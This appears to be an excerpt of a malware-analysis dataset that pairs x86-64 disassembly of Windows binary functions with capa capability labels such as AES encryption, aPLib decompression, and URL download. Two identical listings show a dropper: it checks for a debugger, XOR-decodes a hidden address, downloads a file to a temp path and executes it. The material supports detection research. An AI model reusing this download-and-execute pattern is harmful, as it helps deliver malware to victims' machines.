joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47d020
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rcx, qword [rsp + 8]
mov rax, qword [rsp + 0x10]
mov rdx, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x20]
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rbx]
add rax, 0x10
pxor xmm0, xmm1
sub rcx, 0xc
je 0x47d05f
jb 0x47d074
movups xmm1, xmmword [rax]
aesenc xmm0, xmm1
movups xmm1, xmmword [rax + 0x10]
aesenc xmm0, xmm1
add rax, 0x20
movups xmm1, xmmword [rax]
aesenc xmm0, xmm1
movups xmm1, xmmword [rax + 0x10]
aesenc xmm0, xmm1
add rax, 0x20
movups xmm1, xmmword [rax]
aesenc xmm0, xmm1
movups xmm1, xmmword [rax + 0x10]
aesenc xmm0, xmm1
movups xmm1, xmmword [rax + 0x20]
aesenc xmm0, xmm1
movups xmm1, xmmword [rax + 0x30]
aesenc xmm0, xmm1
movups xmm1, xmmword [rax + 0x40]
aesenc xmm0, xmm1
movups xmm1, xmmword [rax + 0x50]
aesenc xmm0, xmm1
movups xmm1, xmmword [rax + 0x60]
aesenc xmm0, xmm1
movups xmm1, xmmword [rax + 0x70]
aesenc xmm0, xmm1
movups xmm1, xmmword [rax + 0x80]
aesenc xmm0, xmm1
movups xmm1, xmmword [rax + 0x90]
aesenclast xmm0, xmm1
movups xmmword [rdx], xmm0
ret
Function at 0x47d0e0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push rbp
mov rbp, rsp
mov rcx, qword [rsp + 0x10]
mov rax, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
add rbx, 0x10
pxor xmm4, xmm4
cmp ecx, 0xc
je 0x47d1b4
jb 0x47d213
movups xmm2, xmmword [rax + 0x10]
movups xmmword [rbx], xmm2
add rbx, 0x10
aeskeygenassist xmm1, xmm2, 1
call fcn.0047cfc0
aeskeygenassist xmm1, xmm0, 1
call fcn.0047cfe0
aeskeygenassist xmm1, xmm2, 2
call fcn.0047cfc0
aeskeygenassist xmm1, xmm0, 2
call fcn.0047cfe0
aeskeygenassist xmm1, xmm2, 4
call fcn.0047cfc0
aeskeygenassist xmm1, xmm0, 4
call fcn.0047cfe0
aeskeygenassist xmm1, xmm2, 8
call fcn.0047cfc0
aeskeygenassist xmm1, xmm0, 8
call fcn.0047cfe0
aeskeygenassist xmm1, xmm2, 0x10
call fcn.0047cfc0
aeskeygenassist xmm1, xmm0, 0x10
call fcn.0047cfe0
aeskeygenassist xmm1, xmm2, 0x20
call fcn.0047cfc0
aeskeygenassist xmm1, xmm0, 0x20
call fcn.0047cfe0
aeskeygenassist xmm1, xmm2, 0x40
call fcn.0047cfc0
jmp 0x47d281
movq xmm2, qword [rax + 0x10]
aeskeygenassist xmm1, xmm2, 1
call fcn.0047cf20
aeskeygenassist xmm1, xmm2, 2
call fcn.0047cf80
aeskeygenassist xmm1, xmm2, 4
call fcn.0047cf20
aeskeygenassist xmm1, xmm2, 8
call fcn.0047cf80
aeskeygenassist xmm1, xmm2, 0x10
call fcn.0047cf20
aeskeygenassist xmm1, xmm2, 0x20
call fcn.0047cf80
aeskeygenassist xmm1, xmm2, 0x40
call fcn.0047cf20
aeskeygenassist xmm1, xmm2, 0x80
call fcn.0047cf80
jmp 0x47d281
aeskeygenassist xmm1, xmm0, 1
call fcn.0047cee0
aeskeygenassist xmm1, xmm0, 2
call fcn.0047cee0
aeskeygenassist xmm1, xmm0, 4
call fcn.0047cee0
aeskeygenassist xmm1, xmm0, 8
call fcn.0047cee0
aeskeygenassist xmm1, xmm0, 0x10
call fcn.0047cee0
aeskeygenassist xmm1, xmm0, 0x20
call fcn.0047cee0
aeskeygenassist xmm1, xmm0, 0x40
call fcn.0047cee0
aeskeygenassist xmm1, xmm0, 0x80
call fcn.0047cee0
aeskeygenassist xmm1, xmm0, 0x1b
call fcn.0047cee0
aeskeygenassist xmm1, xmm0, 0x36
call fcn.0047cee0
sub rbx, 0x10
movups xmm1, xmmword [rbx]
movups xmmword [rdx], xmm1
dec rcx
movups xmm1, xmmword [rbx - 0x10]
aesimc xmm0, xmm1
movups xmmword [rdx + 0x10], xmm0
sub rbx, 0x10
add rdx, 0x10
dec rcx
jne 0x47d28e
movups xmm0, xmmword [rbx - 0x10]
movups xmmword [rdx + 0x10], xmm0
pop rbp
ret
Function at 0x47d3c0
Capabilities:
Encode data using xor
Encrypt data using aes via x86 extensions

Disassembly:
mov rdi, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdx, qword [rsp + 0x18]
shr rdx, 2
dec rdx
movdqu xmm15, xmmword [0x00526980]
movdqu xmm14, xmmword [0x00526990]
movdqu xmm0, xmmword [rsi]
movdqu xmm11, xmmword [rsi + 0x10]
aesenc xmm0, xmm11
movdqu xmm11, xmmword [rsi + 0x20]
aesenc xmm0, xmm11
movdqu xmm11, xmmword [rsi + 0x30]
aesenc xmm0, xmm11
movdqu xmm11, xmmword [rsi + 0x40]
aesenc xmm0, xmm11
movdqu xmm11, xmmword [rsi + 0x50]
aesenc xmm0, xmm11
movdqu xmm11, xmmword [rsi + 0x60]
aesenc xmm0, xmm11
movdqu xmm11, xmmword [rsi + 0x70]
aesenc xmm0, xmm11
movdqu xmm11, xmmword [rsi + 0x80]
aesenc xmm0, xmm11
movdqu xmm11, xmmword [rsi + 0x90]
aesenc xmm0, xmm11
movdqu xmm11, xmmword [rsi + 0xa0]
cmp rdx, 0xc
jb 0x47d4ab
aesenc xmm0, xmm11
movdqu xmm11, xmmword [rsi + 0xb0]
aesenc xmm0, xmm11
movdqu xmm11, xmmword [rsi + 0xc0]
je 0x47d4ab
aesenc xmm0, xmm11
movdqu xmm11, xmmword [rsi + 0xd0]
aesenc xmm0, xmm11
movdqu xmm11, xmmword [rsi + 0xe0]
aesenclast xmm0, xmm11
pshufb xmm0, xmm15
pshufd xmm11, xmm0, 0xff
movdqu xmm12, xmm0
psrad xmm11, 0x1f
pand xmm11, xmm14
psrld xmm12, 0x1f
pslldq xmm12, 4
pslld xmm0, 1
pxor xmm0, xmm11
pxor xmm0, xmm12
movdqu xmmword [rdi + 0xe0], xmm0
pshufd xmm1, xmm0, 0x4e
pxor xmm1, xmm0
movdqu xmmword [rdi + 0xf0], xmm1
movdqu xmm2, xmm0
movdqu xmm3, xmm1
mov rax, 7
movdqu xmm11, xmm2
movdqu xmm12, xmm2
movdqu xmm13, xmm3
pclmulqdq xmm11, xmm0, 0
pclmulqdq xmm12, xmm0, 0x11
pclmulqdq xmm13, xmm1, 0
pxor xmm13, xmm11
pxor xmm13, xmm12
movdqu xmm4, xmm13
pslldq xmm4, 8
psrldq xmm13, 8
pxor xmm11, xmm4
pxor xmm12, xmm13
movdqu xmm2, xmm14
pclmulqdq xmm2, xmm11, 1
pshufd xmm11, xmm11, 0x4e
pxor xmm11, xmm2
movdqu xmm2, xmm14
pclmulqdq xmm2, xmm11, 1
pshufd xmm11, xmm11, 0x4e
pxor xmm2, xmm11
pxor xmm2, xmm12
movdqu xmmword [rdi + 0xc0], xmm2
pshufd xmm3, xmm2, 0x4e
pxor xmm3, xmm2
movdqu xmmword [rdi + 0xd0], xmm3
dec rax
lea rdi, [rdi - 0x20]
jne 0x47d510
ret
Function at 0x47e860
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x47ea6b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x58], rax
add qword [rax + 0x58], rcx
mov rdx, qword [rax + 0x50]
test rdx, rdx
jle 0x47e984
cmp rdx, 0x40
ja 0x47ea5d
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], rbx
lea rsi, [rdx - 0x40]
mov r8, rsi
neg rsi
sar r8, 0x3f
and r8, rdx
lea rdx, [rax + r8]
lea rdx, [rdx + 0x10]
cmp rcx, rsi
cmovl rsi, rcx
mov qword [rsp + 0x28], rsi
cmp rbx, rdx
je 0x47e8f4
mov rax, rdx
mov rcx, rsi
call fcn.004647a0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x70]
mov rdx, qword [rax + 0x50]
add rdx, rsi
mov qword [rax + 0x50], rdx
nop
cmp rdx, 0x40
jne 0x47e960
mov qword [rsp], rax
lea rcx, [rax + 0x10]
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], 0x40
mov qword [rsp + 0x18], 0x40
call fcn.0047ecc0
xorps xmm15, xmm15
mov r14, qword [0x006112b8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x58]
mov qword [rax + 0x50], 0
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x70]
nop dword [rax]
cmp rcx, rsi
jb 0x47ea55
sub rdi, rsi
mov rdx, rdi
neg rdx
sar rdx, 0x3f
and rdx, rsi
mov r8, rcx
sub r8, rsi
add rbx, rdx
jmp 0x47e987
mov r8, rcx
cmp r8, 0x40
jl 0x47ea05
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x40], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
and r8, 0xffffffffffffffc0
mov qword [rsp + 0x20], r8
mov qword [rsp + 0x10], r8
mov qword [rsp + 0x18], rdi
call fcn.0047ecc0
xorps xmm15, xmm15
mov r14, qword [0x006112b8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
mov rdx, rax
sub rax, rcx
sar rax, 0x3f
mov r8, qword [rsp + 0x30]
and rax, r8
and rax, 0xffffffffffffffc0
mov rcx, qword [rsp + 0x40]
lea rbx, [rcx + rax]
sub r8, rdx
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
test r8, r8
je 0x47ea48
lea rdx, [rax + 0x10]
cmp r8, 0x40
mov esi, 0x40
cmovl rsi, r8
nop dword [rax + rax]
cmp rbx, rdx
je 0x47ea44
mov qword [rsp + 0x38], rsi
mov rax, rdx
mov rcx, rsi
call fcn.004647a0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x38]
mov qword [rax + 0x50], rsi
mov rax, rcx
xor ebx, ebx
xor ecx, ecx
add rsp, 0x48
pop rbp
ret
mov rax, rsi
call fcn.00463ea0
mov rax, rdx
mov ecx, 0x40
call fcn.00463ea0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
nop
call fcn.00461b60
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.0047e860
Function at 0x484240
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x48430a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.00403b80
xorps xmm15, xmm15
mov r14, qword [0x006112b8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x4842ef
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x004c0360]
xor ebx, ebx
mov rcx, rdx
call fcn.00449f80
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.004850a0
inc rbx
cmp rcx, rbx
jae 0x4842de
mov edi, 1
lea rsi, [0x004c0360]
call fcn.0044a060
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x00527088]
lea rsi, [0x00526818]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00461b60
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00484240
Function at 0x4ad6e0
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x4ad6f7
inc rax
cmp rax, 4
jge 0x4ad70f
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x4ad6f4
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x4ad720
inc rax
cmp rax, 4
jge 0x4ad72e
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x4ad757
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x4ad73b
jmp 0x4ad71d
Function at 0x5785058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.057851df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x5785089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x578506f
add dl, dl
jne 0x5785096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x57850f6
xor eax, eax
add dl, dl
jne 0x57850a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x57851ad
add dl, dl
jne 0x57850b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x57850c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x57850d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x57850dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x57850ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x578507e
mov eax, 1
add dl, dl
jne 0x5785106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x5785113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x57850fb
sub eax, ebx
mov ebx, 1
jne 0x578514c
mov ecx, 1
add dl, dl
jne 0x578512e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x578513b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x5785123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x578507e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x5785168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x5785175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x578515d
cmp eax, 0x7d00
jae 0x578519b
cmp eax, 0x500
jb 0x5785196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x578507e
cmp eax, 0x7f
ja 0x578519e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x578507e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x57851d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x578507e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001000
Capabilities:
Download url
Get common file path
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x710
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x700], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140001216
lea rcx, [rsp + 0x1f1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x1f0], al
call fcn.140005340
lea rcx, [rsp + 0xe1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xe0], 0
call fcn.140005340
lea rcx, [rsp + 0x301]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x300], 0
call fcn.140005340
xor esi, esi
lea rdi, [0x14000aec0]
mov eax, esi
xor byte [rax + rdi], 0x83
xor byte [rax + rdi + 1], 0x83
add rax, 2
cmp rax, 0x80
jl 0x140001093
mov rax, rsi
lea rbx, [0x14000af40]
xor byte [rax + rbx], 0x83
xor byte [rax + rbx + 1], 0x83
add rax, 2
cmp rax, 0x80
jl 0x1400010b2
lea rdx, [rsp + 0x1f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x14000120f
cmp eax, 0x104
jae 0x14000120f
lea r9, [rsp + 0xe0]
lea rdx, [0x140008aa0]
lea rcx, [rsp + 0x1f0]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x14000111b
mov eax, 3
jmp 0x140001218
lea rcx, [rsp + 0x300]
mov r8d, 0x3ff
mov rdx, rdi
call fcn.140001440
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
je 0x140001174
lea rdx, [0x140008aa4]
lea rcx, [rsp + 0x300]
mov r8d, 0x3ff
call fcn.140001290
lea rcx, [rsp + 0x300]
mov r8d, 0x3ff
mov rdx, rbx
call fcn.140001290
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0x300]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x14000119f
mov eax, 1
jmp 0x140001218
xor edx, edx
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x60]
call fcn.140005340
xor eax, eax
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x50], rsi
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001216
mov eax, 4
jmp 0x140001218
mov eax, 2
jmp 0x140001218
xor eax, eax
mov rcx, qword [rsp + 0x700]
xor rcx, rsp
call fcn.140001260
lea r11, [rsp + 0x710]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
jmp section..text
Function at 0x140001240
Capabilities:
Create process on windows
Download url
Encode data using xor
Get common file path
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x710
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x700], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140001216
lea rcx, [rsp + 0x1f1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x1f0], al
call fcn.140005340
lea rcx, [rsp + 0xe1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xe0], 0
call fcn.140005340
lea rcx, [rsp + 0x301]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x300], 0
call fcn.140005340
xor esi, esi
lea rdi, [0x14000aec0]
mov eax, esi
xor byte [rax + rdi], 0x83
xor byte [rax + rdi + 1], 0x83
add rax, 2
cmp rax, 0x80
jl 0x140001093
mov rax, rsi
lea rbx, [0x14000af40]
xor byte [rax + rbx], 0x83
xor byte [rax + rbx + 1], 0x83
add rax, 2
cmp rax, 0x80
jl 0x1400010b2
lea rdx, [rsp + 0x1f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x14000120f
cmp eax, 0x104
jae 0x14000120f
lea r9, [rsp + 0xe0]
lea rdx, [0x140008aa0]
lea rcx, [rsp + 0x1f0]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x14000111b
mov eax, 3
jmp 0x140001218
lea rcx, [rsp + 0x300]
mov r8d, 0x3ff
mov rdx, rdi
call fcn.140001440
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
je 0x140001174
lea rdx, [0x140008aa4]
lea rcx, [rsp + 0x300]
mov r8d, 0x3ff
call fcn.140001290
lea rcx, [rsp + 0x300]
mov r8d, 0x3ff
mov rdx, rbx
call fcn.140001290
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0x300]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x14000119f
mov eax, 1
jmp 0x140001218
xor edx, edx
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x60]
call fcn.140005340
xor eax, eax
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x50], rsi
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001216
mov eax, 4
jmp 0x140001218
mov eax, 2
jmp 0x140001218
xor eax, eax
mov rcx, qword [rsp + 0x700]
xor rcx, rsp
call fcn.140001260
lea r11, [rsp + 0x710]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
jmp section..text
Function at 0x1400017fb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000a008]
jne 0x14000127a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001276
repz ret
ror rcx, 0x10
jmp 0x140001754
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000b080]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14000b178]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400017d9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000b080]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400017fb
mov rax, qword [rsp + 0x88]
mov qword [0x14000b178], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000b118], rax
mov rax, qword [0x14000b178]
mov qword [0x14000aff0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000b100], rax
mov dword [0x14000afe0], 0xc0000409
mov dword [0x14000afe4], 1
mov rax, qword [0x14000a008]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000a010]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000b078], eax
mov ecx, 1
call fcn.140003060
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140007250]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000b078], 0
jne 0x140001882
mov ecx, 1
call fcn.140003060
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140001c5c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140001acc
Function at 0x140003bd8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140002c08
xor ebx, ebx
cmp qword [0x14000bf78], rbx
mov rdi, rax
jne 0x140003ceb
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140003dc2
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140003dc2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000bf78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000bf80], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14000bf88], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14000bf98], rax
test rax, rax
je 0x140003ce2
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14000bf90], rax
jmp 0x140003cf2
mov rax, qword [0x14000bf90]
jmp 0x140003cf9
mov rax, qword [0x14000bf90]
mov r11, qword [0x14000bf98]
cmp rax, rdi
je 0x140003d60
cmp r11, rdi
je 0x140003d60
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14000bf98]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140003d60
test rax, rax
je 0x140003d60
call rsi
test rax, rax
je 0x140003d5a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140003d5a
test byte [rsp + 0x40], 1
jne 0x140003d60
bts ebp, 0x15
jmp 0x140003da0
mov rcx, qword [0x14000bf80]
cmp rcx, rdi
je 0x140003da0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140003da0
call rax
mov rbx, rax
test rax, rax
je 0x140003da0
mov rcx, qword [0x14000bf88]
cmp rcx, rdi
je 0x140003da0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140003da0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14000bf78]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140003dc2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140003dc4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001260
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x401c00
Capabilities:
Enumerate files on windows

Disassembly:
sub rsp, 0x298
mov qword [rsp + 0x290], rbx
mov qword [rsp + 0x288], rbp
mov qword [rsp + 0x280], rsi
lea r10, [rsp + 0x20]
mov qword [rsp + 0x278], rdi
mov qword [rsp + 0x270], r12
mov r12, rcx
mov rsi, r9
mov rbp, r8
sub r10, rdx
movzx eax, byte [rdx]
inc rdx
test al, al
mov byte [r10 + rdx - 1], al
jne 0x401c40
lea rcx, [rsp + 0x20]
mov edx, 0x5c
call qword [sym.imp.msvcrt.dll__mbsrchr]
test rax, rax
mov rbx, rax
jne 0x401c6e
lea rbx, [rsp + 0x20]
jmp 0x401c71
inc rbx
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp rax, 0xffffffffffffffff
mov rdi, rax
je 0x401cf8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
